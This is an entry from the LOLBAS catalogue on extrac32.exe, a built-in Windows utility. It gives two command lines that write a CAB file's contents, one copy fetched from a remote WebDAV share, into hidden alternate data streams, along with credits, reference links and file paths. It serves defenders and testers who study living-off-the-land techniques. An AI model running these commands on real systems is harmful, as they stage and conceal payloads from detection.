LOLBAS/OSBinaries/Extrac32.md

Extrac32.exe

• Functions: Add ADS

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe    

extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe    

Acknowledgements:

• Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

• https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
• https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Full path:

c:\windows\system32\extrac32.exe
c:\windows\sysWOW64\extrac32.exe

Notes: